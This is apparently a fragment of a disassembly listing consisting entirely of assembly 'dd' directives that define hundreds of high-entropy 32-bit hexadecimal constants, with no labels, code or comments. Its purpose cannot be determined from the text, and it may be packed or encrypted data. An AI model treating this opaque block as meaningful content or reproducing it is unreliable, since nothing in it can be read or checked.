dd 0A7744FC1h, 0E7ABB54Eh, 0ECAF4DB3h, 0FB400BF7h, 2057579Bh
dd 4E70684Ch, 1292F57Eh, 8F6FB0DAh, 64A0B512h, 0FAE0CFE6h
dd 809809Dh, 8257C147h, 401790Bh, 3DE6EB5Fh, 0E2893F25h
dd 6189CF75h, 20F820EAh, 1840D1ACh, 38A49E9h, 60378D4Bh
dd 0C5BADC8h, 15F218B6h, 97525B30h, 0BD7FDB09h, 9F058105h
dd 7F163012h, 0C84A48B9h, 0BA0A01AFh, 934AD1F1h, 1A520D17h
dd 8216FC1h, 0E05ACA2Bh, 3987F8CBh, 0EB0225D6h, 689F94Fh
dd 0F6E2006Dh, 0A184754Eh, 0D222BD2Ah, 465C0118h, 0DC27B404h
dd 0C14FF49Fh, 2B15CF80h, 4496EC8h, 0BE1186DDh, 0C1F3AAC0h
dd 2EE9DD4Eh, 0A2BE1E34h, 8C680407h, 74A3CBB6h, 0A2627600h
dd 68FD1C3Eh, 1A52011Eh, 5A81860Ch, 0D4B52573h, 0EEE0A64Dh
dd 972FBADFh, 8D291A00h, 0DB9507E1h, 8319FBFh, 9013134Dh
dd 5B33E7B6h, 0AFECDEEBh, 0ACE9B21h, 0E462B726h, 610328E5h
dd 1A05E929h, 21833D2Eh, 0AB447AE1h, 0F4AE8B60h, 94956178h
dd 0A7405B52h, 0DEB9B092h, 0BD8712Bh, 0C8F7803Fh, 8A04E9D5h
dd 72771F2h, 70C6AD33h, 1DD51B43h, 9589F01Ch, 5C5FBD72h
dd 734B7760h, 4D6850B4h, 0C229F80Bh, 8740B766h, 397F9609h
dd 14117DDEh, 0ADB1851Dh, 6270C7D6h, 9AEF9504h, 25898A43h
dd 6DC70852h, 8F5F331Ah, 0DF05AB36h, 4D096596h, 0DE9D8979h
dd 575BA5FFh, 8E181959h, 95B9C497h, 8651941Bh, 67DC6B72h
dd 88504AF5h, 27EE44ABh, 992BC502h, 6A138F96h, 88D35D2Fh
dd 0D9D2902h, 0F996551Eh, 4F8E6D9Dh, 342ECEBFh, 0BCD0CA22h
dd 7B93C85Dh, 0AFC5D203h, 0D801097Bh, 3CE61594h, 4ED2E019h
dd 860FB616h, 0BD848BADh, 0D66BAB43h, 0C4021723h, 5CA3A059h
dd 0B501623Fh, 9D52707Dh, 86D4C1F6h, 0C5481E67h, 0C2339F16h
dd 645BFDE1h, 0B9B71363h, 4588E657h, 8EDB2AFAh, 0B0674682h
dd 52A2FB55h, 0AD003BF3h, 203243EAh, 0E8F42C30h, 65D6603Bh
dd 221B0E7Fh, 0FA8D1923h, 56F562D8h, 0A9F86554h, 2F9E860h
dd 0F5913D68h, 0D68B8F0Fh, 1C9F5FCh, 0E364D105h, 0A919D4h
dd 0F3DDA422h, 6C4490B3h, 8B2DA172h, 54EF71F8h, 8276C702h
dd 0FC50B316h, 4500554Bh, 0A4174325h, 86109FF0h, 47ECCB2Eh
dd 826F7302h, 0E08DC415h, 8124CDA5h, 50197496h, 1FFB5B95h
dd 0DEAD6EF9h, 7AB6260Eh, 0B10387E9h, 0F7EB3A94h, 1216484Bh
dd 0EAAD17A5h, 38C1CBCh, 0FDA033B9h, 0ACC935C4h, 89E2898Eh
dd 71F2560Dh, 0EBE72E21h, 79731901h, 7896B9BAh, 4767847Eh
dd 503530BAh, 964DFB8Bh, 0D2BE120Fh, 81E92ABBh, 0A4975C90h
dd 2A059245h, 0B7BB3995h, 0E85CA1AEh, 9D6E602Fh, 0CE952F2Dh
dd 0B37E8804h, 6F2912DFh, 8BBFE298h, 0F671F69Fh, 0C9C66D00h
dd 20D09E75h, 35A0486Eh, 206ABF4Bh, 0F4B7604Ah, 0F0B77D1h
dd 826030BDh, 7D754DFDh, 31A5710h, 35A50500h, 80ACFCB9h
dd 0F4A31F41h, 2E3600DDh, 0BD8B34C6h, 5A8922BFh, 0D9948261h
dd 6435DD22h, 0EC961D11h, 824C8E99h, 571B05D1h, 1B64616Fh
dd 1869D660h, 0F7E7EC04h, 0F48CB222h, 7A371E05h, 49FC5C70h
dd 9D849E01h, 5A09BC61h, 80A376Eh, 0D655C18Bh, 0D793672Dh
dd 0E6559D12h, 0B5459AEAh, 745A4F7Bh, 6977C1C7h, 3316D02Fh
dd 0BCC4E0A2h, 0D4DB8005h, 30BA6050h, 47FE69A3h, 2F64A760h
dd 0BD5E7470h, 4DA5FBDCh, 0F423C7C8h, 0BC4FE96Ah, 407C0146h
dd 2B51E216h, 80EC7835h, 0FEF23BEFh, 8AB5009Ah, 0AF95FCD0h
dd 5609FA2Ch, 8429D683h, 5F040914h, 0FBDBBF6Ah, 0CC9BFC1h
dd 0C4FC3E19h, 8255ED4Eh, 834798Dh, 94B07D6h, 0D7F9F71Ah
dd 2E7FDD9Dh, 89443F12h, 1CAE8A0Fh, 0B85B52EDh, 0E3D304EFh
dd 8B200864h, 37B590FEh, 0CD6D0C36h, 8A8802A2h, 6FA7BFDEh
dd 315B5BF8h, 125ED478h, 308722CAh, 0B4598017h, 57C9A802h
dd 0DF781F02h, 5BCD8182h, 10CA6C77h, 0A42EE99Dh, 33DF09BEh
dd 7EC65Dh, 0AD04281Bh, 0F195C641h, 0E6C1BA00h, 0D1FFA420h
dd 0DB3497F5h, 9A70FDBBh, 0C66902ECh, 26AFD0Dh, 163437FDh
dd 34AA46h, 358512BAh, 0C6A2AF3Dh, 2472FE90h, 0C9F9038Dh
dd 910064F5h, 0C87DAC07h, 5A0311EFh, 0A6E99E04h, 0C967A2AEh
dd 0DD482B55h, 3A7B0809h, 0A053070h, 49ED74B4h, 6E509E5h
dd 91F0B75Dh, 3CE5801Ch, 711286h, 112B5DCFh, 5CFAD381h
dd 911F7628h, 0B2F88C4Ah, 9ACDEEA4h, 0DEB4532Bh, 0B647CAD8h
dd 0B1B8914h, 0F7B3C780h, 296E0315h, 0DFF80B96h, 0FDE0E99Bh
dd 0E1259D33h, 6E6E5528h, 21BDB524h, 3B6B6A9Fh, 0E2EBE59h
dd 0FB1709FBh, 0AA00AF7Ah, 9D2B6CE3h, 65B726F9h, 0CCFE1403h
dd 3F02E996h, 313BC39Dh, 8B245990h, 0A93A5DF5h, 0A840C55Ch
dd 952586Eh, 7E5CA94Bh, 0D12AB875h, 2B5F8110h, 24EFC688h
dd 9BA1D3Fh, 395F0AE1h, 0D1368224h, 0BE74552Dh, 14B59561h
dd 0BD102B0Ch, 56D8102Dh
dd 0F8831735h, 0F4C4B7C8h, 0E9F914D1h, 0FB5E7C82h, 0D701FD56h
dd 47554C50h, 1322AB28h, 16A778B5h, 0BA0E01BDh, 19B5A130h
dd 0BF73C205h, 4ED7D6E8h, 0F8BB01A5h, 0E929CE24h, 31158B48h
dd 0E8A97F9Dh, 64A5F559h, 293344E9h, 0CA218538h, 0C2D2AEE2h
dd 59829571h, 98460FE8h, 918F8400h, 424EE637h, 0D07A0097h
dd 80A9760Ch, 0D49D95F3h, 818CC12Fh, 15FC3B19h, 0B713AE5Bh
dd 0E3F6FBAh, 96563A32h, 0AF00E8E2h, 0D25539FFh, 350042F4h
dd 0B85F5A70h, 932FAD0h, 39585B51h, 0F884DB71h, 0FCACCBB9h
dd 0F2F06032h, 0B09107Fh, 46D700CFh, 43BE92ACh, 0C3007BA6h
dd 764888C2h, 25714AFDh, 6F765217h, 0DC71AEh, 6EA7ECD8h
dd 0F33C607Dh, 458E8024h, 2827D508h, 0DFDB0161h, 2BF8FCA6h
dd 0B8DE69C0h, 0FA210BD4h, 9674BAE9h, 457EEFCh, 0E946FC4Bh
dd 6AE7400Eh, 375BE6h, 5ED52280h, 0CBA2D119h, 8ECAE5Ah
dd 0DC8702BEh, 0E6068C2Eh, 6FD903EFh, 4ADB3C08h, 3EF773A8h
dd 29D59F07h, 0D55BFF25h, 6C5F8419h, 75142529h, 3144DC32h
dd 503ADC04h, 8B825D1Dh, 8028D13Dh, 0D0C381F9h, 54BAAA6h
dd 1CC8D69Ah, 73EB5AC0h, 951004B3h, 0B80BA59Bh, 1623BBDAh
dd 0AA05E604h, 0C264B8ABh, 0E2275BDh, 12950BD6h, 3AD9B2E9h
dd 32605E6Eh, 71AA30D6h, 3EAF7709h, 440379F8h, 0AE7BAF78h
dd 9D095B02h, 1F5E2DCDh, 0DDF8F9E2h, 14911135h, 0E1FFE982h
dd 1F71B7D7h, 0C1FB6F7Dh, 1DCB8100h, 977F28E0h, 0A02F0894h
dd 0D0B3F303h, 149737ACh, 209145FAh, 149753C3h, 0F54B44FAh
dd 746E604Bh, 0F529C500h, 9CF791CFh, 8D0F9716h, 2ED7F6CCh
dd 9520EB5h, 447D1D19h, 41BD2265h, 0F6E38995h, 9300DCB9h
dd 72B7E69Eh, 84C2873h, 12E99FD1h, 15D25C81h, 59F41094h
dd 3EEE0098h, 0AE68F4B0h, 5402DD37h, 0C18D09A1h, 929A5707h
dd 535F576Ah, 9AD37176h, 0F8DF79F0h, 25D52579h, 0F8513F76h
dd 0D3DDF86Ah, 0F657E2B4h, 0B8B002B2h, 5190C6DBh, 81F5D9F5h
dd 5B445ABBh, 0AD4FA50h, 134A07DCh, 1EAA7B5Fh, 7E54A3ECh
dd 0E6E1624Bh, 0BF809768h, 289EE343h, 0D5205EB8h, 38680505h
dd 0C1237374h, 2B5D0745h, 77C75F03h, 5F0BDA6Ch, 38CD6C64h
dd 0FD2E0D7Dh, 956DA925h, 0DF2A9782h, 820535Fh, 6D920FD5h
dd 0BD6FD5E5h, 0E7312EF7h, 2DEE1A17h, 0C9EF1A17h, 9CE400A1h
dd 972F1CC4h, 7525DFF6h, 1A130E37h, 631DCD60h, 5192735Bh
dd 532EC6E6h, 0F530B608h, 0D4DE1480h, 0E718143Ah, 0A912EFD3h
dd 67F5E730h, 17080518h, 84E389h, 9539BF57h, 3567Ah, 520782E1h
dd 0D1AEDA10h, 0BB43E901h, 4DA0B9A9h, 80096D26h, 0CF70D8DBh
dd 90015BB0h, 502CA265h, 0FC3AEEB3h, 0D98B16FBh, 15ACF3B9h
dd 0FE55018Ch, 0C7807468h, 0DB73A3h, 0A6A8CB54h, 919802h
dd 21EE450Ah, 0CE262ACCh, 0FAD3711Ch, 54A03593h, 5783148Bh
dd 0FB4B865Ch, 9BB25B12h, 161B6F5Bh, 89C66B10h, 59BB0253h
dd 90433AC1h, 0E060C655h, 7CFEECF2h, 2E7E97CBh, 4599BD50h
dd 0A5A2B823h, 0ECD2DC16h, 0D4B4D18h, 886EC48Fh, 0BCF5162Bh
dd 0FEE8526Ah, 0C6F2730Ah, 0CCCE00E5h, 0B25B43C9h, 32DF3602h
dd 5D240644h, 3C334A10h, 0D3465400h, 0E717AC41h, 2C8095B8h
dd 5F5B7380h, 542FE92Ah, 60819577h, 6755DC9Dh, 7735B2F5h
dd 0DF5E5B47h, 0ADCB3FC0h, 52E822h, 17FEB9C7h, 852947F9h
dd 0C7286925h, 5D7818A3h, 0D17A9D2Bh, 659AE6A7h, 818E4127h
dd 8156F27Bh, 0CF5BD29h, 89D4A23Bh, 950270DAh, 346084EFh
dd 25D2CD33h, 7FC6D95Ch, 68D308A0h, 5650F625h, 111AF69Ch
dd 5FD078D2h, 8CD80A53h, 9C77C17h, 0C833C131h, 4B0AED77h
dd 0AA257AB0h, 0DCBF9400h, 9D9195E6h, 0C2810260h, 145E4D40h
dd 4A6DBC84h, 1ACBB561h, 0C970D55Ah, 0DF0164FAh, 0F942D090h
dd 0FD2B2C04h, 9ECD4AB7h, 321EB41h, 9D08FD2Eh, 0CFE58D97h
dd 0A976E96Ah, 63F5706Fh, 9516016Ch, 70AB3445h, 5D9D31BEh
dd 25BF2F4Eh, 0B9E604BFh, 0BE66000Ah, 0B761A0B7h, 73A41251h
dd 0ED9B6225h, 908BCF7Ah, 0A51FB5F5h, 2001EF4Ch, 3A095FF1h
dd 5C75237Bh, 0D2F4E22Ah, 0A4A31FE6h, 40A6C680h, 8E0B9005h
dd 0B6EFCE24h, 265BF054h, 330D05DDh, 0BB21B59Dh, 5EA91849h
dd 0D38050C5h, 6BB6575Ah, 0E8B173B4h, 0FE8B96E8h, 73F85051h
dd 0EBFF1F41h, 7D6B61ACh, 45123492h, 0DFA23075h, 213B12FEh
dd 0F4EE374h, 294884BFh, 49297172h, 0FF2715DEh, 4D0289B7h
dd 796EF121h, 0B7490011h, 0CD587F5Fh, 0D5D0990Eh, 3C82BDC4h
dd 62EB2C2Eh, 0C7927FBFh, 5BDC9D8h, 0CC913122h, 6073585Ah
dd 4057994Bh, 7361F6F7h, 937ABB28h, 5F5DCD27h, 0B5897D98h
dd 0DA103129h, 0D72FB742h, 0D9ED8A4Ch, 42310F19h, 3FE1B3D1h
dd 0E0AF120h, 0D41C0B87h, 35F55FF8h, 0C020AEB9h, 58C6FA3Ch
dd 1D12BA00h, 59950917h, 0E690952Eh, 9E955B57h, 4FED95C3h
dd 12372D40h, 2B662C58h, 8EC78118h, 0D2E9FCA7h, 5D5542D7h
dd 1003FDB7h, 0F4FC11B4h, 0D9914CC2h, 73732DEEh, 556EA78h
dd 89A302F3h, 0EBD52485h, 9CA452E6h, 9C0F1748h, 161558B7h
dd 8EE70B30h, 0D0240088h, 2C792D36h, 6B1E8B1Ch, 7782CB9Ch
dd 0D890B544h, 88F14B5Dh, 0A34A0FD9h, 8DB4D8EAh, 0CDD1F1Dh
dd 0EB8489FDh, 0D3827751h, 0B8749050h, 287573DCh, 2DAEFC34h
dd 579022C1h, 0F6B57638h, 9261DEEDh, 2850F38h, 405B5311h
dd 1A17D0B2h, 50B8D94h, 0C3645730h, 2D019D10h, 17569025h
dd 1CE48A40h, 0C9D41383h, 0E4C8FA5Fh, 827900EBh, 5898D3AFh
dd 650033CCh, 66AA07CAh, 5A7868BFh, 0BD87E95Fh, 0BF5A902Bh
dd 1A340FC7h, 0DAD94856h, 0F2790C97h, 0A4D26BB6h, 89ACF88Fh
dd 0DE8B57C2h, 82FFF175h, 24C5BD01h, 9E52582h, 56D1FF02h
dd 0C287517Ah, 400F4F55h, 7455D39Ah, 0F3F16C01h, 26A0E27h
dd 0CF629247h, 0C0F190h, 0B1EFC155h, 565C80EBh, 38270045h
dd 5AEACA16h, 33E92661h, 55113AEh, 169EE092h, 0E57AA6B1h
dd 60E0D0FAh, 51B1800Fh, 0C0BDBE81h, 0A28B61FCh, 8832EAA2h
dd 48B7A363h, 0DD39E909h, 0DA489B1Ch, 81A34E33h, 7D9C6501h
dd 0E9D733D6h, 78A1FDABh, 1AB8937Fh, 1CEA9CE0h, 0C5AAEDBDh
dd 69A2FF14h, 4A39B050h, 89A5DD34h, 786BFFE2h, 0FD5A9A12h
dd 6105B301h, 570C9F59h, 796D5FDCh, 80123E08h, 0E119B690h
dd 0A92BBDE9h, 603BADA8h, 7838696Bh, 0A253B800h, 0F883645h
dd 0A4D4BD8Eh, 55199AE0h, 0FF605BB2h, 0AA716A33h, 13FB7D8Ah
dd 22199505h, 23466FABh, 0E61F0116h, 20FF6A26h, 29441DB1h
dd 9F2CEEB5h, 1FDEBDDEh, 81912D1Eh, 0A7DC28D7h, 97612B10h
dd 0B0020153h, 5A46FFh, 8FC1F563h, 1A2E0294h, 6ACA9600h
dd 8B70E60Bh, 1294D9Dh, 71E4F509h, 0B1DCC3A2h, 2898A556h
dd 95316057h, 0BF9F2075h, 2C76FE9Eh, 601F6108h, 0F0BBCE90h
dd 0E3865C9Dh, 0E3E9AFBAh, 0E624204Fh, 0BFBDE24Ah, 0C585010Bh
dd 17144CD5h, 0ADB52960h, 0BD27766Ch, 0C1689051h, 0AE520BBBh
dd 0C8776B28h, 861CC546h, 0E0C82B37h, 981D2614h, 5BEFDED1h
dd 0BCE97314h, 26FDC4FEh, 0F9C09B10h, 0CADF3E37h, 300556F4h
dd 5F6A22Ah, 824E92D3h, 1BD5644h, 3CA7D5BFh, 4810B81Dh
dd 51EEC0FEh, 4645A7Fh, 0EDE3E1F2h, 22C1ADCEh, 94566218h
dd 33C02BCBh, 19D271E9h, 950171BAh, 0C9762B1Ch, 7AE3123Ah
dd 25CEB294h
dd 0EBEBDE51h, 883D1BD7h, 4AF50331h, 0CD8D95Bh, 0B300C0E1h
dd 89AE426Fh, 327535h, 0F76BB492h, 80C1CC46h, 0D2924C58h
dd 0BBDA88BFh, 40259477h, 0E4087538h, 0E8024994h, 51572D91h
dd 0AF9045E4h, 0AC00CC7Ah, 411E529Dh, 0A105BAD1h, 8A0F2632h
dd 77B59C62h, 0CF80AA10h, 0E3302BE9h, 90E6F381h, 0B9571379h
dd 291E41D2h, 6F02A99Dh, 0A9BED388h, 0DB3BFCB2h, 0F37B8AFDh
dd 0F731D989h, 47C038EDh, 4A2D1BBBh, 4A38B28Ch, 0ABD291ADh
dd 38C112F4h, 880996BFh, 75515B3Bh, 4A4DE814h, 0B00E66A8h
dd 6480BA40h, 73A593C2h, 0EC3D4503h, 82C402DAh, 165B5826h
dd 0E6D22B5Fh, 0E758E033h, 4D780493h, 0BF90EA08h, 12B733D8h
dd 0B76DE39Bh, 3119F2F7h, 69ADFCE6h, 0F18B452Eh, 352B48A6h
dd 0CAAD0h, 0FC3A4030h, 43623127h, 1938BE90h, 0C441A5AFh
dd 0BD231207h, 0EFD652A5h, 36C4CA9Fh, 308DEE82h, 80FF986Ah
dd 565C9A9Dh, 0BE905600h, 0D0834325h, 0F9084A6Eh, 235E8F5h
dd 3F2308FCh, 0D456DE8Bh, 0BF156651h, 0D7A95712h, 0C67F51C9h
dd 0C5EF137Fh, 0AF6BAF5Fh, 0C6011823h, 0F5CF9952h, 0E1B3097Eh
dd 0F080B637h, 0EF96B96Fh, 71951229h, 0E1CAAC25h, 75C20574h
dd 0C4804F37h, 51675D33h, 0B8BC2536h, 9507207Fh, 13697C65h
dd 17132C76h, 0D741AFA6h, 0CAF3805Fh, 49DE282Bh, 44A88DD3h
dd 0B26C3112h, 50185E0h, 22C0BDDEh, 0DCFAF2FFh, 18C91304h
dd 88FA8B4Ch, 2B905699h, 0A9072532h, 9D745560h, 0D6C502DCh
dd 0FC6052CBh, 0D20BE8E6h, 0F7877283h, 3AFE3DE4h, 68D8DB17h
dd 0DCBD73C3h, 0F43DB3AEh, 0C51262F6h, 549404ABh, 5635B826h
dd 4ED0F722h, 95C1E610h, 31FC8F10h, 33CAA900h, 0B350708Bh
dd 0E21D01FFh, 0DA7AC146h, 5B16B80h, 0AA2C442Bh, 1A233E01h
dd 5601992Ch, 9C62E0BAh, 0C8BA9A6Bh, 9DDBC01Bh, 0D30953B7h
dd 6AA5F7Ch, 953B14Ch, 0D54BBF66h, 3EDF29E1h, 0BEC15FECh
dd 6B6173E0h, 14C8D29Ah, 8EE73C5h, 50131730h, 2414CCFEh
dd 36B3A012h, 0A09FB7AAh, 0D99D798h, 78E3569Ah, 9B6E2F44h
dd 6D6FA40Eh, 26A5B0B8h, 3E685B80h, 0D9A8615Ch, 1D192599h
dd 0A2A32760h, 0CD26AF2Dh, 62B8C3F2h, 0BF38B6E0h, 5101101Bh
dd 5F2CE95Eh, 0A9D1AD2Bh, 6477FC1Dh, 4B238F50h, 0BAAB85AFh
dd 0EBA475B7h, 25D627B0h, 38C0A5B3h, 0E9802875h, 0B7015FEBh
dd 806FA02Ch, 0DC92132Ah, 0BB0E704Bh, 0EDB5499Fh, 601B6405h
dd 4C85B21h, 7AA52882h, 0B4E2EFC6h, 89EECC4Ah, 0E8F2B54Bh
dd 0D4C2D825h, 0D0FD7B75h, 6F02BC5Bh, 6D80A855h, 4BECF0ECh
dd 10D48B0Ch, 10C809C9h, 4574CC80h, 1B50A8h, 35B8EA60h
dd 0EBBF795Eh, 313AE602h, 7509B98Dh, 1471FCFBh, 20BA5849h
dd 4C9648FFh, 0EB4A8E3Ch, 242B2420h, 0A29F0055h, 7D08E659h
dd 0F909B3EAh, 643FE3ABh, 247EB7CAh, 0DFD28EC0h, 965F25FEh
dd 0DD7079F3h, 0F7D61219h, 0D1D304CBh, 0ED1F162Dh, 29FBE547h
dd 0CF8B7519h, 0FEEBF956h, 0C368600Ah, 0E05A5D67h, 0E9506AFDh
dd 0C19C133Ch, 0FFE9091Fh, 52920D79h, 37D52BC0h, 8590535Fh
dd 4DEA2F00h, 87116172h, 0CB03E971h, 9A96AA6Fh, 0D85E135Dh
dd 77C6C15Fh, 2A66E7Fh, 7060E1F0h, 88CCDF03h, 0D0819CA2h
dd 4C6239D5h, 0B55BEB01h, 58A67B02h, 1942DCB4h, 4FEE4B00h
dd 9411CC2h, 9BF15495h, 0DCAF9E61h, 74129B14h, 71FB2DABh
dd 0BFDBE9A2h, 7AD7450h, 6688F071h, 0B8A8E49Bh, 8762A393h
dd 783B5B0Bh, 472888D7h, 600BDE41h, 7B55E97Ch, 7716D829h
dd 1DC9D99Dh, 949FC0E1h, 0B0FC7DD2h, 49320200h, 0D81DAD68h
dd 0ACE5138Ah, 0BFC4AE3Bh, 0F5573AAEh, 1615B304h, 0FF18213h
dd 27703D75h, 724C2AF7h, 7903C509h, 54DCC49Ah, 4BCFB301h
dd 92C1201Bh, 790034F9h, 0DF359B45h, 21B023Bh, 2B19370Ah
dd 0A975B5BDh, 6ACFD7FAh, 123D9BE0h, 90D39D96h, 78146404h
dd 9E4E0FBDh, 0FE76C43Eh, 0AF198504h, 0A6DB4575h, 0FCE19181h
dd 0C275C650h, 28377F7Dh, 0A5E7BA80h, 97890F5Fh, 0D0C22A1Ah
dd 0F8257BDDh, 5F173270h, 1CAFD340h, 0EDE6E559h, 0C1B9F4B7h
dd 55B37FEFh, 9A7BBAB7h, 9CF882Ch, 38DD2569h, 1805BFC3h
dd 0E4049F09h, 0D697313Bh, 194DD461h, 98EC80F9h, 1A5FF4Bh
dd 0AAD38127h, 2B65A785h, 8DFC0BB9h, 0B75AD800h, 70D259B6h
dd 0E98B97F1h, 600065B7h, 0A84B9328h, 0ED5C2F26h, 0C6AF5FD9h
dd 73B72739h, 69790642h, 44F34000h, 2DED4A21h, 0C176F9CFh
dd 69E0BB78h, 0EED792B2h, 3A359544h, 31FF4F3Fh, 3FD8EB6Ah
dd 6EA9F0A9h, 5B15EE60h, 0BCF05F5Ch, 55C00B30h, 0BFA0FE23h
dd 63A4743Dh, 81F8C47Dh, 7F3041DDh, 202BAD9Dh, 51CCB6F7h
dd 0AAA4ED2Eh, 59C8B860h, 1C64006Ch, 0DDD4E703h, 5B2E0223h
dd 0C0253796h, 574BB69h, 0F39B2C8h, 0AF228431h, 20B58DB0h
dd 81041615h, 45AF02DBh, 9A41CA9Dh, 7FEA47F3h, 0EC529653h
dd 95A227B9h, 27BC8F7Ch, 3EE457h, 509B0E9h, 4FCDDE03h
dd 9502AB79h, 8C25A4AAh, 777AD0C7h, 0F9D58205h, 40EB4846h
dd 8B63CF81h, 50444600h, 1B1258BBh, 5CE8B54Eh, 0A82F548Eh
dd 5570D43Dh, 0E70F4100h, 5B86C660h, 2857B0F4h, 6989D9B5h
dd 3650FF7Bh, 0E434255Eh, 0D5D53077h, 41EE9508h, 0ED253A9Ch
dd 0D98B091Ah, 50654A74h, 6AD9EEh, 3BF879FDh, 5AC62938h
dd 0DDF03CB6h, 1A050CB4h, 830F015Ch, 0D4B33804h, 0CB46A2EEh
dd 8866518Bh, 0E90318B9h, 8CFFF23Eh, 8FC0339Bh, 4F56DE6Ah
dd 543FBA16h, 0BC00B4E2h, 0B8592C64h, 0D49F843Ah, 6101DE5Eh
dd 0BE3779A6h, 17CCFE2Eh, 0D55748B9h, 0F0661FC0h, 2B5B81D7h
dd 5F7249EEh, 272958AFh, 55D2235Bh, 46DA70Ah, 0C4CCF1F5h
dd 504AAA4h, 664B0385h, 0AABD4076h, 3109A4BFh, 7216C58Dh
dd 298A1226h, 212B221Ah, 0A5F6F975h, 0FC4064EDh, 28C02062h
dd 94E7DF1Ch, 6CAAB014h, 845D9B8h, 49F02D36h, 5A3ECC31h
dd 59250433h, 9F400CE8h, 0C47FFB54h, 8E65AF01h, 7B2E251Eh
dd 0D88D2Ah, 295FF884h, 18ED9513h, 0C1BE60ABh, 602F2DA7h
dd 6920F58Ch, 0FBB73503h, 3F8BB01Ch, 91119666h, 0EA6A5B12h
dd 1180079Bh, 0A1351DF8h, 73485B00h, 89D1B3FEh, 2957959Dh
dd 0E22A4D2Dh, 0F9F52C7Fh, 7AE8A521h, 1B0949D7h, 802861CBh
dd 184E9C63h, 0E99E4E9Bh, 8C17ACCFh, 0D2EC750Fh, 54D7E645h
dd 0B07C4F56h, 8612E397h, 689BD1FFh, 5574A84h, 38AE0CEDh
dd 3DBFD1C5h, 90339427h, 0EA8FEAD3h, 6F026A12h, 0C00E0389h
dd 0F8F47C3Ah, 2F3C86BBh, 8678777Fh, 3C2F8D20h, 612CF580h
dd 60ECA6D4h, 0AC9D2EAFh, 0B87D300h, 0EA722CE7h, 94E0B012h
dd 0F3CA425Fh, 160015C4h, 23602ADEh, 0B7107AD7h, 5C696BF4h
dd 9A94819h, 16572FE9h, 501FBBE1h, 0A20E1211h, 44A5DD8Eh
dd 0B2A0488Ah, 6AE9621Eh, 0EB0E160Dh, 711A5EFFh, 3B443194h
dd 49019F6Fh, 0FC33B55Dh, 0D3B66B6Eh, 6ABDC4E1h, 57105D82h
dd 35BF5996h, 0C0CD3D23h, 89FB844Eh, 8CBF1583h, 16006979h
dd 90FD5449h, 0C7382Eh, 0EF1C1FFh, 0D37EBBFCh, 43F95B5Ah
dd 0FCB37B9h, 42532515h, 77F87A3Ch, 0F990DA53h, 0A95BE9A4h
dd 16B6BD2Fh, 60E95734h, 0FF440993h, 7EC0EBEDh, 76F1D5Ah
dd 0E003C70Ch, 0CA5539D5h, 1051F67Dh, 1694580Ah, 7AEB2A49h
dd 5F0473DAh, 660DF9FDh, 0BD6D98FEh, 0F7272925h, 0DE5EBEB2h
dd 604052C4h, 0CA18D8Bh
dd 0A60A5BB5h, 0AF21183Dh, 2BE1B061h, 91B31820h, 1E2C0913h
dd 92DFF33Bh, 0AFB855BEh, 0DE25C991h, 61605D5Fh, 249DF98Bh
dd 314111F4h, 8B1D5195h, 44C8B681h, 0E5890033h, 0D2991FE9h
dd 5D0018B0h, 1ADE068Eh, 3B42CBE6h, 50CCDFF2h, 5B114072h
dd 4E9DBA73h, 0BD1305F3h, 0C4C2886Ch, 0BB5853A2h, 13EB7BCCh
dd 0A021D3A6h, 5FBC53F1h, 81CE7641h, 0DBD1333Fh, 3FE0DC0h
dd 5BE60913h, 910C02B1h, 99060063h, 98EB699Bh, 0D89D5FF9h
dd 5E07ACA5h, 33980BD1h, 2BC7C85Eh, 122335B2h, 0F550BD7h
dd 6B176E4Ch, 6D215F1Dh, 0D0465BDh, 0AE89852Eh, 0F2006FDDh
dd 4EE961F1h, 1673F357h, 67BEAAABh, 5D5626Fh, 246F3D39h
dd 0B89D12D8h, 7FBBB0BFh, 958935D7h, 1460EEADh, 1F5112A6h
dd 41F30C3Bh, 0D161B2BCh, 3B052C5Ah, 0B471CFDEh, 673A90A8h
dd 19A572DDh, 0E0D36D55h, 74238F26h, 0E64E0203h, 5B148B27h
dd 6118F14Ah, 70B72AB0h, 6294BA01h, 2A6168EEh, 1CA89CEDh
dd 0E500D693h, 725B0330h, 76D2022Fh, 0E92B927h, 40F96F5Fh
dd 0DC4E382Fh, 76512712h, 19E9FA04h, 36C1D9ABh, 0E1CB12Eh
dd 7A2DBF4h, 0FC6DC250h, 0B7F60BB8h, 6E3D09F6h, 7502849Bh
dd 2B072CC1h, 0F72F2D62h, 4AA1EDCCh, 3A76C9DFh, 8072CD3Dh
dd 0BB8F4E0Fh, 0AAF125A1h, 9FD0D438h, 777D7725h, 3FED0941h
dd 0BF97ACA8h, 88B94716h, 78C1AACh, 0FE86E03Eh, 0BEB3D4C6h
dd 75A58BE6h, 4500AB4Ch, 39F3A3E6h, 0DF7702A1h, 2F05B531h
dd 7A96D955h, 0FE2906C2h, 0DF493F76h, 0FC8A1DB8h, 9C8A5F4Eh
dd 21AA6422h, 6AB8F749h, 9000997Eh, 75E63C45h, 1B02F325h
dd 0F18D29E5h, 0AD735F20h, 70113BEh, 96AD8FFAh, 0FE66AA70h
dd 0BD0813A6h, 849AA203h, 512047Eh, 0AE4EF22Ch, 6E4A62DAh
dd 2A610962h, 467ED1F5h, 8B2F5727h, 0CB7F7F8h, 30983B00h
dd 9FDC2F1Ch, 1E6A0DE2h, 0D325385Eh, 9258708Bh, 0E4BBD200h
dd 4EEBD781h, 9DA6CF5Ch, 475D020Bh, 0D4D3E9D8h, 0EFEB3600h
dd 300F23BBh, 521D0882h, 4D4F9509h, 885E84E9h, 1F00B178h
dd 0FD3188D1h, 1B81E6Bh, 28A9EF89h, 6E81C292h, 5BB9DF04h
dd 892252E9h, 0ADE5B2C8h, 0B5D6D15Ch, 0C61817B0h, 1509E830h
dd 0E23D9C25h, 0BDD2BD54h, 7B018B90h, 5B316896h, 611014E9h
dd 64010684h, 9ABBE8DEh, 0AA2B0440h, 0EAF5BD30h, 451A9D7Bh
dd 1040687Eh, 7C67C673h, 8B0BA830h, 9523007Eh, 0F7810BACh
dd 0F01240B6h, 88FA5B30h, 8A80DAA3h, 0D87A9FD9h, 0C2B09B7Fh
dd 290A1125h, 1FA55538h, 73A6AB6Ah, 2FFA37E0h, 0C7228A04h
dd 6881E4C9h, 9B62BD2Bh, 2527ED49h, 0E1D9EDFh, 5B5350D9h
dd 5F5261B8h, 0D81D92F7h, 0F558AF21h, 0B2A1B62Ah, 0CE75311Dh
dd 4E83EC57h, 2E1C8D3Ch, 904525C4h, 0F0E28D0Fh, 0D7E9F004h
dd 0C77CDE01h, 0EA40E11Eh, 4FC80E45h, 0FBD9345Fh, 6C0043CAh
dd 0AB23D44Dh, 9F171B7Dh, 0D5095FE8h, 5E7F0995h, 5342C0B8h
